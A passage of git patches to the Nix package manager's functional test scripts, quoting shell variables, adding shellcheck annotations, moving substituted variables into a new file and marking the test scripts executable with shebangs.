'Hello World!' < "$TEST_ROOT/result-from-remote-new-cli/hello" diff --git a/tests/functional/build-remote.sh b/tests/functional/build-remote.sh index d2a2132c1..1a5334577 100644 --- a/tests/functional/build-remote.sh +++ b/tests/functional/build-remote.sh @@ -1,5 +1,9 @@ +# shellcheck shell=bash + +: "${file?must be defined by caller (remote building test case using this)}" + requireSandboxSupport -[[ $busybox =~ busybox ]] || skipTest "no busybox" +[[ "${busybox-}" =~ busybox ]] || skipTest "no busybox" # Avoid store dir being inside sandbox build-dir unset NIX_STORE_DIR @@ -15,50 +19,50 @@ fi builders=( # system-features will automatically be added to the outer URL, but not inner # remote-store URL. - "ssh://localhost?remote-store=$TEST_ROOT/machine1?system-features=$(join_by "%20" foo ${EXTRA_SYSTEM_FEATURES[@]}) - - 1 1 $(join_by "," foo ${EXTRA_SYSTEM_FEATURES[@]})" - "$TEST_ROOT/machine2 - - 1 1 $(join_by "," bar ${EXTRA_SYSTEM_FEATURES[@]})" - "ssh-ng://localhost?remote-store=$TEST_ROOT/machine3?system-features=$(join_by "%20" baz ${EXTRA_SYSTEM_FEATURES[@]}) - - 1 1 $(join_by "," baz ${EXTRA_SYSTEM_FEATURES[@]})" + "ssh://localhost?remote-store=$TEST_ROOT/machine1?system-features=$(join_by "%20" foo "${EXTRA_SYSTEM_FEATURES[@]}") - - 1 1 $(join_by "," foo "${EXTRA_SYSTEM_FEATURES[@]}")" + "$TEST_ROOT/machine2 - - 1 1 $(join_by "," bar "${EXTRA_SYSTEM_FEATURES[@]}")" + "ssh-ng://localhost?remote-store=$TEST_ROOT/machine3?system-features=$(join_by "%20" baz "${EXTRA_SYSTEM_FEATURES[@]}") - - 1 1 $(join_by "," baz "${EXTRA_SYSTEM_FEATURES[@]}")" ) -chmod -R +w $TEST_ROOT/machine* || true -rm -rf $TEST_ROOT/machine* || true +chmod -R +w "$TEST_ROOT/machine"* || true +rm -rf "$TEST_ROOT/machine"* || true # Note: ssh://localhost bypasses ssh, directly invoking nix-store as a # child process. This allows us to test LegacySSHStore::buildDerivation(). # ssh-ng://... likewise allows us to test RemoteStore::buildDerivation(). -nix build -L -v -f $file -o $TEST_ROOT/result --max-jobs 0 \ - --arg busybox $busybox \ - --store $TEST_ROOT/machine0 \ +nix build -L -v -f "$file" -o "$TEST_ROOT/result" --max-jobs 0 \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/machine0" \ --builders "$(join_by '; ' "${builders[@]}")" -outPath=$(readlink -f $TEST_ROOT/result) +outPath=$(readlink -f "$TEST_ROOT/result") -grep 'FOO BAR BAZ' $TEST_ROOT/machine0/$outPath +grep 'FOO BAR BAZ' "$TEST_ROOT/machine0/$outPath" -testPrintOutPath=$(nix build -L -v -f $file --no-link --print-out-paths --max-jobs 0 \ - --arg busybox $busybox \ - --store $TEST_ROOT/machine0 \ +testPrintOutPath=$(nix build -L -v -f "$file" --no-link --print-out-paths --max-jobs 0 \ + --arg busybox "$busybox" \ + --store "$TEST_ROOT/machine0" \ --builders "$(join_by '; ' "${builders[@]}")" ) [[ $testPrintOutPath =~ store.*build-remote ]] # Ensure that input1 was built on store1 due to the required feature. -output=$(nix path-info --store $TEST_ROOT/machine1 --all) +output=$(nix path-info --store "$TEST_ROOT/machine1" --all) echo "$output" | grepQuiet builder-build-remote-input-1.sh echo "$output" | grepQuietInverse builder-build-remote-input-2.sh echo "$output" | grepQuietInverse builder-build-remote-input-3.sh unset output # Ensure that input2 was built on store2 due to the required feature. -output=$(nix path-info --store $TEST_ROOT/machine2 --all) +output=$(nix path-info --store "$TEST_ROOT/machine2" --all) echo "$output" | grepQuietInverse builder-build-remote-input-1.sh echo "$output" | grepQuiet builder-build-remote-input-2.sh echo "$output" | grepQuietInverse builder-build-remote-input-3.sh unset output # Ensure that input3 was built on store3 due to the required feature. -output=$(nix path-info --store $TEST_ROOT/machine3 --all) +output=$(nix path-info --store "$TEST_ROOT/machine3" --all) echo "$output" | grepQuietInverse builder-build-remote-input-1.sh echo "$output" | grepQuietInverse builder-build-remote-input-2.sh echo "$output" | grepQuiet builder-build-remote-input-3.sh @@ -66,7 +70,7 @@ unset output for i in input1 input3; do -nix log --store $TEST_ROOT/machine0 --file "$file" --arg busybox $busybox passthru."$i" | grep hi-$i +nix log --store "$TEST_ROOT/machine0" --file "$file" --arg busybox "$busybox" "passthru.$i" | grep hi-$i done # Behavior of keep-failed @@ -74,9 +78,9 @@ out="$(nix-build 2>&1 failing.nix \ --no-out-link \ --builders "$(join_by '; ' "${builders[@]}")" \ --keep-failed \ - --store $TEST_ROOT/machine0 \ + --store "$TEST_ROOT/machine0" \ -j0 \ - --arg busybox $busybox)" || true + --arg busybox "$busybox")" || true [[ "$out" =~ .*"note: keeping build directory".* ]] diff --git a/tests/functional/common.sh b/tests/functional/common.sh index 4ec17b706..d038aaf59 100644 --- a/tests/functional/common.sh +++ b/tests/functional/common.sh @@ -1,13 +1,15 @@ +# shellcheck shell=bash + set -eu -o pipefail if [[ -z "${COMMON_SH_SOURCED-}" ]]; then COMMON_SH_SOURCED=1 -dir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" +functionalTestsDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" -source "$dir"/common/vars-and-functions.sh -source "$dir"/common/init.sh +source "$functionalTestsDir/common/vars-and-functions.sh" +source "$functionalTestsDir/common/init.sh" if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then startDaemon diff --git a/tests/functional/common/init.sh b/tests/functional/common/init.sh index 74da12651..dda1ecd41 100755 --- a/tests/functional/common/init.sh +++ b/tests/functional/common/init.sh @@ -1,3 +1,5 @@ +# shellcheck shell=bash + test -n "$TEST_ROOT" # We would delete any daemon socket, so let's stop the daemon first. killDaemon diff --git a/tests/functional/common/subst-vars.sh.in b/tests/functional/common/subst-vars.sh.in new file mode 100644 index 000000000..4105e9f35 --- /dev/null +++ b/tests/functional/common/subst-vars.sh.in @@ -0,0 +1,15 @@ +# NOTE: instances of @variable@ are substituted as defined in /mk/templates.mk + +export PATH=@bindir@:$PATH +export coreutils=@coreutils@ +#lsof=@lsof@ + +export dot=@dot@ +export SHELL="@bash@" +export PAGER=cat +export busybox="@sandbox_shell@" + +export version=@PACKAGE_VERSION@ +export system=@system@ + +export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@ diff --git a/tests/functional/common/vars-and-functions.sh.in b/tests/functional/common/vars-and-functions.sh similarity index 96% rename from tests/functional/common/vars-and-functions.sh.in rename to tests/functional/common/vars-and-functions.sh index cb1f0d566..ad5b29a94 100644 --- a/tests/functional/common/vars-and-functions.sh.in +++ b/tests/functional/common/vars-and-functions.sh @@ -8,6 +8,12 @@ COMMON_VARS_AND_FUNCTIONS_SH_SOURCED=1 set +x +commonDir="$(readlink -f "$(dirname "${BASH_SOURCE[0]-$0}")")" + +source "$commonDir/subst-vars.sh" +# Make sure shellcheck knows all these will be defined by the above generated snippet +: "${PATH?} ${coreutils?} ${dot?} ${SHELL?} ${PAGER?} ${busybox?} ${version?} ${system?} ${BUILD_SHARED_LIBS?}" + export TEST_ROOT=$(realpath ${TMPDIR:-/tmp}/nix-test)/${TEST_NAME:-default/tests\/functional//} export NIX_STORE_DIR if ! NIX_STORE_DIR=$(readlink -f $TEST_ROOT/store 2> /dev/null); then @@ -37,7 +43,6 @@ unset XDG_CONFIG_HOME unset XDG_CONFIG_DIRS unset XDG_CACHE_HOME -export PATH=@bindir@:$PATH if [[ -n "${NIX_CLIENT_PACKAGE:-}" ]]; then export PATH="$NIX_CLIENT_PACKAGE/bin":$PATH fi @@ -45,18 +50,6 @@ DAEMON_PATH="$PATH" if [[ -n "${NIX_DAEMON_PACKAGE:-}" ]]; then DAEMON_PATH="${NIX_DAEMON_PACKAGE}/bin:$DAEMON_PATH" fi -coreutils=@coreutils@ -lsof=@lsof@ - -export dot=@dot@ -export SHELL="@bash@" -export PAGER=cat -export busybox="@sandbox_shell@" - -export version=@PACKAGE_VERSION@ -export system=@system@ - -export BUILD_SHARED_LIBS=@BUILD_SHARED_LIBS@ export IMPURE_VAR1=foo export IMPURE_VAR2=bar diff --git a/tests/functional/local.mk b/tests/functional/local.mk index 18b920f7d..a94c5712c 100644 --- a/tests/functional/local.mk +++ b/tests/functional/local.mk @@ -153,7 +153,7 @@ $(d)/plugins.sh.test $(d)/plugins.sh.test-debug: \ install-tests += $(foreach x, $(nix_tests), $(d)/$(x)) test-clean-files := \ - $(d)/common/vars-and-functions.sh \ + $(d)/common/subst-vars.sh \ $(d)/config.nix clean-files += $(test-clean-files) From 10f864c5ae953647565d10a233558404116047ec Mon Sep 17 00:00:00 2001 From: John Ericson Date: Tue, 28 May 2024 12:43:04 -0400 Subject: [PATCH 0678/1251] Ensure all functional scripts are (a) executable (b) have shebang This is good for shebang, and also good for future build system simplifications --- tests/functional/add.sh | 2 ++ tests/functional/bash-profile.sh | 2 ++ tests/functional/binary-cache-build-remote.sh | 2 ++ tests/functional/binary-cache.sh | 2 ++ tests/functional/brotli.sh | 2 ++ tests/functional/build-delete.sh | 2 ++ tests/functional/build-dry.sh | 2 ++ tests/functional/build-remote-content-addressed-fixed.sh | 0 tests/functional/build-remote-content-addressed-floating.sh | 0 tests/functional/build-remote-input-addressed.sh | 0 tests/functional/build-remote-trustless-should-fail-0.sh | 0 tests/functional/build-remote-trustless-should-pass-0.sh | 0 tests/functional/build-remote-trustless-should-pass-1.sh | 0 tests/functional/build-remote-trustless-should-pass-2.sh | 0 tests/functional/build-remote-trustless-should-pass-3.sh | 0 tests/functional/build-remote-with-mounted-ssh-ng.sh | 0 tests/functional/build.sh | 2 ++ tests/functional/case-hack.sh | 2 ++ tests/functional/check-refs.sh | 2 ++ tests/functional/check-reqs.sh | 2 ++ tests/functional/check.sh | 2 ++ tests/functional/chroot-store.sh | 2 ++ tests/functional/completions.sh | 2 ++ tests/functional/compression-levels.sh | 2 ++ tests/functional/compute-levels.sh | 2 ++ tests/functional/config.sh | 2 ++ tests/functional/db-migration.sh | 2 ++ tests/functional/debugger.sh | 2 ++ tests/functional/dependencies.sh | 2 ++ tests/functional/derivation-json.sh | 2 ++ tests/functional/dump-db.sh | 2 ++ tests/functional/eval-store.sh | 2 ++ tests/functional/eval.sh | 2 ++ tests/functional/experimental-features.sh | 2 ++ tests/functional/export-graph.sh | 2 ++ tests/functional/export.sh | 2 ++ tests/functional/extra-sandbox-profile.sh | 2 ++ tests/functional/fetchClosure.sh | 2 ++ tests/functional/fetchGit.sh | 2 ++ tests/functional/fetchGitRefs.sh | 2 ++ tests/functional/fetchGitSubmodules.sh | 2 ++ tests/functional/fetchGitVerification.sh | 2 ++ tests/functional/fetchMercurial.sh | 2 ++ tests/functional/fetchPath.sh | 2 ++ tests/functional/fetchTree-file.sh | 2 ++ tests/functional/fetchurl.sh | 2 ++ tests/functional/filter-source.sh | 2 ++ tests/functional/fixed.sh | 2 ++ tests/functional/flakes/absolute-attr-paths.sh | 2 ++ tests/functional/flakes/absolute-paths.sh | 2 ++ tests/functional/flakes/build-paths.sh | 2 ++ tests/functional/flakes/bundle.sh | 2 ++ tests/functional/flakes/check.sh | 2 ++ tests/functional/flakes/circular.sh | 2 ++ tests/functional/flakes/config.sh | 2 ++ tests/functional/flakes/develop.sh | 2 ++ tests/functional/flakes/flake-in-submodule.sh | 2 ++ tests/functional/flakes/flakes.sh | 2 ++ tests/functional/flakes/follow-paths.sh | 2 ++ tests/functional/flakes/init.sh | 2 ++ tests/functional/flakes/inputs.sh | 2 ++ tests/functional/flakes/mercurial.sh | 2 ++ tests/functional/flakes/prefetch.sh | 2 ++ tests/functional/flakes/run.sh | 2 ++ tests/functional/flakes/search-root.sh | 2 ++ tests/functional/flakes/show.sh | 2 ++ tests/functional/flakes/unlocked-override.sh | 2 ++ tests/functional/fmt.sh | 2 ++ tests/functional/function-trace.sh | 2 ++ tests/functional/gc-auto.sh | 2 ++ tests/functional/gc-concurrent.sh | 2 ++ tests/functional/gc-non-blocking.sh | 2 ++ tests/functional/gc-runtime.sh | 2 ++ tests/functional/gc.sh | 2 ++ tests/functional/hash-convert.sh | 2 ++ tests/functional/hash-path.sh | 2 ++ tests/functional/help.sh | 2 ++ tests/functional/import-derivation.sh | 2 ++ tests/functional/impure-derivations.sh | 2 ++ tests/functional/impure-env.sh | 2 ++ tests/functional/impure-eval.sh | 2 ++ tests/functional/lang-test-infra.sh | 2 ++ tests/functional/lang.sh | 2 ++ tests/functional/legacy-ssh-store.sh | 2 ++ tests/functional/linux-sandbox.sh | 2 ++ tests/functional/logging.sh | 2 ++ tests/functional/misc.sh | 2 ++ tests/functional/multiple-outputs.sh | 2 ++ tests/functional/nar-access.sh | 2 ++ tests/functional/nested-sandboxing.sh | 2 ++ tests/functional/nix-build.sh | 2 ++ tests/functional/nix-channel.sh | 2 ++ tests/functional/nix-collect-garbage-d.sh | 2 ++ tests/functional/nix-copy-ssh-ng.sh | 2 ++ tests/functional/nix-copy-ssh.sh | 2 ++ tests/functional/nix-profile.sh | 2 ++ tests/functional/nix-shell.sh | 2 ++ tests/functional/nix_path.sh | 2 ++ tests/functional/optimise-store.sh | 2 ++ tests/functional/output-normalization.sh | 2 ++ tests/functional/pass-as-file.sh | 2 ++ tests/functional/path-from-hash-part.sh | 2 ++ tests/functional/path-info.sh | 2 ++ tests/functional/placeholders.sh | 2 ++ tests/functional/plugins.sh | 2 ++ tests/functional/post-hook.sh | 2 ++ tests/functional/pure-eval.sh | 2 ++ tests/functional/read-only-store.sh | 2 ++ tests/functional/readfile-context.sh | 2 ++ tests/functional/recursive.sh | 2 ++ tests/functional/referrers.sh | 2 ++ tests/functional/remote-store.sh | 2 ++ tests/functional/repair.sh | 2 ++ tests/functional/repl.sh | 1 + tests/functional/restricted.sh | 2 ++ tests/functional/search.sh | 2 ++ tests/functional/secure-drv-outputs.sh | 2 ++ tests/functional/selfref-gc.sh | 2 ++ tests/functional/shell.sh | 2 ++ tests/functional/signing.sh | 2 ++ tests/functional/simple.sh | 2 ++ tests/functional/ssh-relay.sh | 2 ++ tests/functional/store-info.sh | 2 ++ tests/functional/structured-attrs.sh | 2 ++ tests/functional/substitute-with-invalid-ca.sh | 2 ++ tests/functional/suggestions.sh | 2 ++ tests/functional/supplementary-groups.sh | 2 ++ tests/functional/tarball.sh | 2 ++ tests/functional/test-infra.sh | 2 ++ tests/functional/test-libstoreconsumer.sh | 2 ++ tests/functional/timeout.sh | 2 ++ tests/functional/toString-path.sh | 2 ++ tests/functional/user-envs-migration.sh | 2 ++ tests/functional/user-envs.sh | 2 ++ tests/functional/why-depends.sh | 2 ++ tests/functional/zstd.sh | 2 ++ 136 files changed, 253 insertions(+) mode change 100644 => 100755 tests/functional/add.sh mode change 100644 => 100755 tests/functional/bash-profile.sh mode change 100644 => 100755 tests/functional/binary-cache-build-remote.sh mode change 100644 => 100755 tests/functional/binary-cache.sh mode change 100644 => 100755 tests/functional/brotli.sh mode change 100644 => 100755 tests/functional/build-delete.sh mode change 100644 => 100755 tests/functional/build-dry.sh mode change 100644 => 100755 tests/functional/build-remote-content-addressed-fixed.sh mode change 100644 => 100755 tests/functional/build-remote-content-addressed-floating.sh mode change 100644 => 100755 tests/functional/build-remote-input-addressed.sh mode change 100644 => 100755 tests/functional/build-remote-trustless-should-fail-0.sh mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-0.sh mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-1.sh mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-2.sh mode change 100644 => 100755 tests/functional/build-remote-trustless-should-pass-3.sh mode change 100644 => 100755 tests/functional/build-remote-with-mounted-ssh-ng.sh mode change 100644 => 100755 tests/functional/build.sh mode change 100644 => 100755 tests/functional/case-hack.sh mode change 100644 => 100755 tests/functional/check-refs.sh mode change 100644 => 100755 tests/functional/check-reqs.sh mode change 100644 => 100755 tests/functional/check.sh mode change 100644 => 100755 tests/functional/chroot-store.sh mode change 100644 => 100755 tests/functional/completions.sh mode change 100644 => 100755 tests/functional/compression-levels.sh mode change 100644 => 100755 tests/functional/compute-levels.sh mode change 100644 => 100755 tests/functional/config.sh mode change 100644 => 100755 tests/functional/db-migration.sh mode change 100644 => 100755 tests/functional/debugger.sh mode change 100644 => 100755 tests/functional/dependencies.sh mode change 100644 => 100755 tests/functional/derivation-json.sh mode change 100644 => 100755 tests/functional/dump-db.sh mode change 100644 => 100755 tests/functional/eval-store.sh mode change 100644 => 100755 tests/functional/eval.sh mode change 100644 => 100755 tests/functional/experimental-features.sh mode change 100644 => 100755 tests/functional/export-graph.sh mode change 100644 => 100755 tests/functional/export.sh mode change 100644 => 100755 tests/functional/extra-sandbox-profile.sh mode change 100644 => 100755 tests/functional/fetchClosure.sh mode change 100644 => 100755 tests/functional/fetchGit.sh mode change 100644 => 100755 tests/functional/fetchGitRefs.sh mode change 100644 => 100755 tests/functional/fetchGitSubmodules.sh mode change 100644 => 100755 tests/functional/fetchGitVerification.sh mode change 100644 => 100755 tests/functional/fetchMercurial.sh mode change 100644 => 100755 tests/functional/fetchPath.sh mode change 100644 => 100755 tests/functional/fetchTree-file.sh mode change 100644 => 100755 tests/functional/fetchurl.sh mode change 100644 => 100755 tests/functional/filter-source.sh mode change 100644 => 100755 tests/functional/fixed.sh mode change 100644 => 100755 tests/functional/flakes/absolute-attr-paths.sh mode change 100644 => 100755 tests/functional/flakes/absolute-paths.sh mode change 100644 => 100755 tests/functional/flakes/build-paths.sh mode change 100644 => 100755 tests/functional/flakes/bundle.sh mode change 100644 => 100755 tests/functional/flakes/check.sh mode change 100644 => 100755 tests/functional/flakes/circular.sh mode change 100644 => 100755 tests/functional/flakes/config.sh mode change 100644 => 100755 tests/functional/flakes/develop.sh mode change 100644 => 100755 tests/functional/flakes/flake-in-submodule.sh mode change 100644 => 100755 tests/functional/flakes/flakes.sh mode change 100644 => 100755 tests/functional/flakes/follow-paths.sh mode change 100644 => 100755 tests/functional/flakes/init.sh mode change 100644 => 100755 tests/functional/flakes/inputs.sh mode change 100644 => 100755 tests/functional/flakes/mercurial.sh mode change 100644 => 100755 tests/functional/flakes/prefetch.sh mode change 100644 => 100755 tests/functional/flakes/run.sh mode change 100644 => 100755 tests/functional/flakes/search-root.sh mode change 100644 => 100755 tests/functional/flakes/show.sh mode change 100644 => 100755 tests/functional/flakes/unlocked-override.sh mode change 100644 => 100755 tests/functional/fmt.sh mode change 100644 => 100755 tests/functional/gc-auto.sh mode change 100644 => 100755 tests/functional/gc-concurrent.sh mode change 100644 => 100755 tests/functional/gc-non-blocking.sh mode change 100644 => 100755 tests/functional/gc-runtime.sh mode change 100644 => 100755 tests/functional/gc.sh mode change 100644 => 100755 tests/functional/hash-convert.sh mode change 100644 => 100755 tests/functional/hash-path.sh mode change 100644 => 100755 tests/functional/help.sh mode change 100644 => 100755 tests/functional/import-derivation.sh mode change 100644 => 100755 tests/functional/impure-derivations.sh mode change 100644 => 100755 tests/functional/impure-env.sh mode change 100644 => 100755 tests/functional/impure-eval.sh mode change 100644 => 100755 tests/functional/lang-test-infra.sh mode change 100644 => 100755 tests/functional/legacy-ssh-store.sh mode change 100644 => 100755 tests/functional/linux-sandbox.sh mode change 100644 => 100755 tests/functional/logging.sh mode change 100644 => 100755 tests/functional/misc.sh mode change 100644 => 100755 tests/functional/multiple-outputs.sh mode change 100644 => 100755 tests/functional/nar-access.sh mode change 100644 => 100755 tests/functional/nested-sandboxing.sh mode change 100644 => 100755 tests/functional/nix-build.sh mode change 100644 => 100755 tests/functional/nix-channel.sh mode change 100644 => 100755 tests/functional/nix-collect-garbage-d.sh mode change 100644 => 100755 tests/functional/nix-copy-ssh-ng.sh mode change 100644 => 100755 tests/functional/nix-copy-ssh.sh mode change 100644 => 100755 tests/functional/nix-profile.sh mode change 100644 => 100755 tests/functional/nix-shell.sh mode change 100644 => 100755 tests/functional/nix_path.sh mode change 100644 => 100755 tests/functional/optimise-store.sh mode change 100644 => 100755 tests/functional/output-normalization.sh mode change 100644 => 100755 tests/functional/pass-as-file.sh mode change 100644 => 100755 tests/functional/path-from-hash-part.sh mode change 100644 => 100755 tests/functional/path-info.sh mode change 100644 => 100755 tests/functional/placeholders.sh mode change 100644 => 100755 tests/functional/plugins.sh mode change 100644 => 100755 tests/functional/post-hook.sh mode change 100644 => 100755 tests/functional/pure-eval.sh mode change 100644 => 100755 tests/functional/read-only-store.sh mode change 100644 => 100755 tests/functional/readfile-context.sh mode change 100644 => 100755 tests/functional/recursive.sh mode change 100644 => 100755 tests/functional/referrers.sh mode change 100644 => 100755 tests/functional/remote-store.sh mode change 100644 => 100755 tests/functional/repair.sh mode change 100644 => 100755 tests/functional/repl.sh mode change 100644 => 100755 tests/functional/restricted.sh mode change 100644 => 100755 tests/functional/search.sh mode change 100644 => 100755 tests/functional/secure-drv-outputs.sh mode change 100644 => 100755 tests/functional/selfref-gc.sh mode change 100644 => 100755 tests/functional/shell.sh mode change 100644 => 100755 tests/functional/signing.sh mode change 100644 => 100755 tests/functional/simple.sh mode change 100644 => 100755 tests/functional/ssh-relay.sh mode change 100644 => 100755 tests/functional/store-info.sh mode change 100644 => 100755 tests/functional/structured-attrs.sh mode change 100644 => 100755 tests/functional/substitute-with-invalid-ca.sh mode change 100644 => 100755 tests/functional/suggestions.sh mode change 100644 => 100755 tests/functional/supplementary-groups.sh mode change 100644 => 100755 tests/functional/tarball.sh mode change 100644 => 100755 tests/functional/test-infra.sh mode change 100644 => 100755 tests/functional/test-libstoreconsumer.sh mode change 100644 => 100755 tests/functional/timeout.sh mode change 100644 => 100755 tests/functional/toString-path.sh mode change 100644 => 100755 tests/functional/user-envs-migration.sh mode change 100644 => 100755 tests/functional/user-envs.sh mode change 100644 => 100755 tests/functional/why-depends.sh mode change 100644 => 100755 tests/functional/zstd.sh diff --git a/tests/functional/add.sh b/tests/functional/add.sh old mode 100644 new mode 100755 index a4bb0e225..9b448e33b --- a/tests/functional/add.sh +++ b/tests/functional/add.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh path1=$(nix-store --add ./dummy) diff --git a/tests/functional/bash-profile.sh b/tests/functional/bash-profile.sh old mode 100644 new mode 100755 index 3faeaaba1..6cfa5bd9c --- a/tests/functional/bash-profile.sh +++ b/tests/functional/bash-profile.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh sed -e "s|@localstatedir@|$TEST_ROOT/profile-var|g" -e "s|@coreutils@|$coreutils|g" < ../../scripts/nix-profile.sh.in > $TEST_ROOT/nix-profile.sh diff --git a/tests/functional/binary-cache-build-remote.sh b/tests/functional/binary-cache-build-remote.sh old mode 100644 new mode 100755 index 81cd21a4a..0303e9410 --- a/tests/functional/binary-cache-build-remote.sh +++ b/tests/functional/binary-cache-build-remote.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/binary-cache.sh b/tests/functional/binary-cache.sh old mode 100644 new mode 100755 index 2a8d5ccdb..54a3687ca --- a/tests/functional/binary-cache.sh +++ b/tests/functional/binary-cache.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "'--no-require-sigs' can’t be used with the daemon" diff --git a/tests/functional/brotli.sh b/tests/functional/brotli.sh old mode 100644 new mode 100755 index dc9bbdb66..02a2a0875 --- a/tests/functional/brotli.sh +++ b/tests/functional/brotli.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/build-delete.sh b/tests/functional/build-delete.sh old mode 100644 new mode 100755 index 9c56b00e8..2ef3008f6 --- a/tests/functional/build-delete.sh +++ b/tests/functional/build-delete.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/build-dry.sh b/tests/functional/build-dry.sh old mode 100644 new mode 100755 index 6d1754af5..9336cf745 --- a/tests/functional/build-dry.sh +++ b/tests/functional/build-dry.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh ################################################### diff --git a/tests/functional/build-remote-content-addressed-fixed.sh b/tests/functional/build-remote-content-addressed-fixed.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-content-addressed-floating.sh b/tests/functional/build-remote-content-addressed-floating.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-input-addressed.sh b/tests/functional/build-remote-input-addressed.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-trustless-should-fail-0.sh b/tests/functional/build-remote-trustless-should-fail-0.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-trustless-should-pass-0.sh b/tests/functional/build-remote-trustless-should-pass-0.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-trustless-should-pass-1.sh b/tests/functional/build-remote-trustless-should-pass-1.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-trustless-should-pass-2.sh b/tests/functional/build-remote-trustless-should-pass-2.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-trustless-should-pass-3.sh b/tests/functional/build-remote-trustless-should-pass-3.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build-remote-with-mounted-ssh-ng.sh b/tests/functional/build-remote-with-mounted-ssh-ng.sh old mode 100644 new mode 100755 diff --git a/tests/functional/build.sh b/tests/functional/build.sh old mode 100644 new mode 100755 index 95a20dc6a..9fb4357be --- a/tests/functional/build.sh +++ b/tests/functional/build.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/case-hack.sh b/tests/functional/case-hack.sh old mode 100644 new mode 100755 index 61bf9b94b..fbc8242ff --- a/tests/functional/case-hack.sh +++ b/tests/functional/case-hack.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/check-refs.sh b/tests/functional/check-refs.sh old mode 100644 new mode 100755 index 3b587d1e5..2cebdd84d --- a/tests/functional/check-refs.sh +++ b/tests/functional/check-refs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/check-reqs.sh b/tests/functional/check-reqs.sh old mode 100644 new mode 100755 index 856c94cec..2bcd558fd --- a/tests/functional/check-reqs.sh +++ b/tests/functional/check-reqs.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/check.sh b/tests/functional/check.sh old mode 100644 new mode 100755 index 38883c5d7..efb93eeb0 --- a/tests/functional/check.sh +++ b/tests/functional/check.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # XXX: This shouldn’t be, but #4813 cause this test to fail diff --git a/tests/functional/chroot-store.sh b/tests/functional/chroot-store.sh old mode 100644 new mode 100755 index 9e589d04b..60b9c50a7 --- a/tests/functional/chroot-store.sh +++ b/tests/functional/chroot-store.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh echo example > $TEST_ROOT/example.txt diff --git a/tests/functional/completions.sh b/tests/functional/completions.sh old mode 100644 new mode 100755 index d3d5bbd48..9164c5013 --- a/tests/functional/completions.sh +++ b/tests/functional/completions.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh cd "$TEST_ROOT" diff --git a/tests/functional/compression-levels.sh b/tests/functional/compression-levels.sh old mode 100644 new mode 100755 index 85f12974a..34f66c531 --- a/tests/functional/compression-levels.sh +++ b/tests/functional/compression-levels.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/compute-levels.sh b/tests/functional/compute-levels.sh old mode 100644 new mode 100755 index de3da2ebd..a8bd27610 --- a/tests/functional/compute-levels.sh +++ b/tests/functional/compute-levels.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh if [[ $(uname -ms) = "Linux x86_64" ]]; then diff --git a/tests/functional/config.sh b/tests/functional/config.sh old mode 100644 new mode 100755 index efdafa8ca..1811b755c --- a/tests/functional/config.sh +++ b/tests/functional/config.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh # Isolate the home for this test. diff --git a/tests/functional/db-migration.sh b/tests/functional/db-migration.sh old mode 100644 new mode 100755 index 44cd16bc0..a6a5c7744 --- a/tests/functional/db-migration.sh +++ b/tests/functional/db-migration.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + # Test that we can successfully migrate from an older db schema source common.sh diff --git a/tests/functional/debugger.sh b/tests/functional/debugger.sh old mode 100644 new mode 100755 index 63d88cbf3..47e644bb7 --- a/tests/functional/debugger.sh +++ b/tests/functional/debugger.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/dependencies.sh b/tests/functional/dependencies.sh old mode 100644 new mode 100755 index b93dacac0..5922a1f98 --- a/tests/functional/dependencies.sh +++ b/tests/functional/dependencies.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh clearStore diff --git a/tests/functional/derivation-json.sh b/tests/functional/derivation-json.sh old mode 100644 new mode 100755 index b6be5d977..59c77e6c5 --- a/tests/functional/derivation-json.sh +++ b/tests/functional/derivation-json.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh drvPath=$(nix-instantiate simple.nix) diff --git a/tests/functional/dump-db.sh b/tests/functional/dump-db.sh old mode 100644 new mode 100755 index 48647f403..2d0460275 --- a/tests/functional/dump-db.sh +++ b/tests/functional/dump-db.sh @@ -1,3 +1,5 @@ +#!/usr/bin/env bash + source common.sh needLocalStore "--dump-db requires a local store" diff --git a/tests/functional/eval-store.sh b/tests/functional/eval-store.sh old mode 100644 new mode 100755 index 9937ecbce..0ab608acc --- a/tests/functional/eval-store.sh +++ 